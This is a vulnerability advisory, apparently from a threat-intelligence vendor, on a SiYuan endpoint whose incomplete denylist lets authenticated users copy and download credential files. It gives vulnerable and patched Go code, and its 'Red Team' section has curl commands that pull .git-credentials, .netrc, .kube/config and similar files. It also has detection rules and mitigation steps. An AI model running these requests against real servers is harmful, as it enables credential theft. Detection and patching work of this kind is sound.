CVE-2026-59854
Executive Summary
CVE-2026-59854 is a path traversal vulnerability in SiYuan, an open-source personal knowledge management system. The vulnerability resides in the POST /api/file/globalCopyFiles endpoint, which accepts attacker-supplied absolute source paths. The application relies on a denylist in util.IsSensitivePath to prevent copying sensitive files, but this denylist is incomplete. An authenticated administrator or API-token user can exploit this to copy sensitive credential files (e.g., .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, .gnupg) into the workspace and then exfiltrate them through the file API. The CVSS score is 4.9 (Medium), with a high confidentiality impact. The vulnerability is unpatched in versions prior to 3.7.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
SiYuan is a Go-based application. The vulnerability is in the core application code, not in a third-party package. However, the use of a denylist approach for path validation is a common anti-pattern in Go applications. The fix requires updating the denylist in kernel/util/path.go to include additional sensitive file patterns. This is a supply chain concern because the application is distributed as a binary, and users must update to the patched version to mitigate the risk.
CVSS Breakdown & Threat Level
- CVSS Score: 4.9 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) - requires admin or API-token user
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires authentication, but once authenticated, an attacker can exfiltrate sensitive credential files from the host system. This could lead to lateral movement or privilege escalation if the credentials are reused.
Deep Dive & Mechanics
The vulnerability is in the POST /api/file/globalCopyFiles endpoint. This endpoint is designed to copy files from arbitrary paths on the filesystem into the SiYuan workspace. The application uses a function util.IsSensitivePath in kernel/util/path.go to check if the source path is sensitive. However, the denylist is incomplete and does not include common credential files such as:
.git-credentials.netrc.pgpass.kube/config.docker/config.json.gnupg
An attacker can send a POST request with a JSON body containing an array of absolute paths to these files. The application will copy them into the workspace, and then the attacker can use the file API to download them.
Attack Flow:
- Authenticate as an administrator or obtain a valid API token.
- Send a POST request to
/api/file/globalCopyFileswith a JSON body like:{ "paths": ["/home/user/.git-credentials", "/home/user/.netrc"] } - The files are copied into the workspace (e.g.,
/workspace/data/). - Use the file API (e.g.,
GET /api/file/getFile) to download the copied files.
Vulnerable vs. Patched Code
Vulnerable Code (kernel/util/path.go):
func IsSensitivePath(path string) bool {
sensitivePaths := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
// Missing: .git-credentials, .netrc, .pgpass, .kube/config, .docker/config.json, .gnupg
}
for _, sp := range sensitivePaths {
if strings.Contains(path, sp) {
return true
}
}
return false
}
Patched Code (kernel/util/path.go):
func IsSensitivePath(path string) bool {
sensitivePaths := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/ssh/ssh_config",
"/etc/ssh/sshd_config",
".git-credentials",
".netrc",
".pgpass",
".kube/config",
".docker/config.json",
".gnupg",
}
for _, sp := range sensitivePaths {
if strings.Contains(path, sp) {
return true
}
}
return false
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- SiYuan instance (version < 3.7.1) with admin credentials or API token.
- Network access to the SiYuan API.
Exploit Steps:
- Authenticate and obtain a session cookie or API token.
- Send a POST request to
/api/file/globalCopyFiles:curl -X POST https://target:port/api/file/globalCopyFiles \ -H "Content-Type: application/json" \ -H "Cookie: SESSION=your_session_cookie" \ -d '{"paths": ["/home/user/.git-credentials", "/home/user/.netrc", "/home/user/.pgpass", "/home/user/.kube/config", "/home/user/.docker/config.json", "/home/user/.gnupg/secring.gpg"]}' - List the workspace files to confirm copying:
curl -X GET https://target:port/api/file/listFiles \ -H "Cookie: SESSION=your_session_cookie" - Download the copied files:
curl -X GET "https://target:port/api/file/getFile?path=/workspace/data/.git-credentials" \ -H "Cookie: SESSION=your_session_cookie" -o .git-credentials
Blue Team
Detection:
- Monitor API logs for unusual
POST /api/file/globalCopyFilesrequests with paths containing.git-credentials,.netrc,.pgpass,.kube/config,.docker/config.json, or.gnupg. - Monitor file system for unexpected copies of credential files into the SiYuan workspace directory.
- Use file integrity monitoring (FIM) to detect changes to sensitive files.
Mitigation:
- Immediately update SiYuan to version 3.7.1 or later.
- If patching is not possible, restrict access to the
/api/file/globalCopyFilesendpoint using a reverse proxy or WAF. - Implement network segmentation to limit access to the SiYuan API.
- Rotate any credentials that may have been exposed.
Indicators of Compromise (IOCs)
- File Paths:
/workspace/data/.git-credentials,/workspace/data/.netrc,/workspace/data/.pgpass,/workspace/data/.kube/config,/workspace/data/.docker/config.json,/workspace/data/.gnupg/ - API Requests:
POST /api/file/globalCopyFileswith JSON body containing paths to credential files. - Network Traffic: Outbound connections from the SiYuan server to an attacker-controlled IP after file exfiltration.
- Log Entries:
[INFO] globalCopyFiles: copying /home/user/.git-credentials to /workspace/data/.git-credentials
Detection Engineering
YARA Rule
rule CVE_2026_59854_SiYuan_Path_Traversal {
meta:
description = "Detects attempts to exploit CVE-2026-59854 by copying sensitive credential files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-59854"
strings:
$s1 = ".git-credentials" ascii wide nocase
$s2 = ".netrc" ascii wide nocase
$s3 = ".pgpass" ascii wide nocase
$s4 = ".kube/config" ascii wide nocase
$s5 = ".docker/config.json" ascii wide nocase
$s6 = ".gnupg" ascii wide nocase
$s7 = "globalCopyFiles" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4, $s5, $s6) and $s7
}
Sigma Rule
title: CVE-2026-59854 SiYuan Path Traversal to Credential Files
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /api/file/globalCopyFiles with paths containing sensitive credential files
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: siyuan
detection:
selection:
cs-method: POST
cs-uri-stem: /api/file/globalCopyFiles
cs-uri-query|contains:
- '.git-credentials'
- '.netrc'
- '.pgpass'
- '.kube/config'
- '.docker/config.json'
- '.gnupg'
condition: selection
falsepositives:
- Legitimate administrative actions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-59854 SiYuan Path Traversal to Credential Files";
flow:to_server,established;
content:"POST";
http_method;
content:"/api/file/globalCopyFiles";
http_uri;
content:".git-credentials";
http_client_body;
sid:1000001;
rev:1;
reference:cve,2026-59854;
classtype:attempted-user;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Update SiYuan to version 3.7.1 or later.
- Workaround: If patching is not possible, restrict access to the
/api/file/globalCopyFilesendpoint using a reverse proxy or WAF. Only allow trusted IPs. - Credential Rotation: Rotate any credentials that may have been exposed (e.g., Git credentials, SSH keys, database passwords).
Long-term Recommendations:
- Implement a positive allowlist for file paths instead of a denylist.
- Use principle of least privilege for API tokens.
- Regularly audit API logs for suspicious activity.
- Implement file integrity monitoring for sensitive files.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.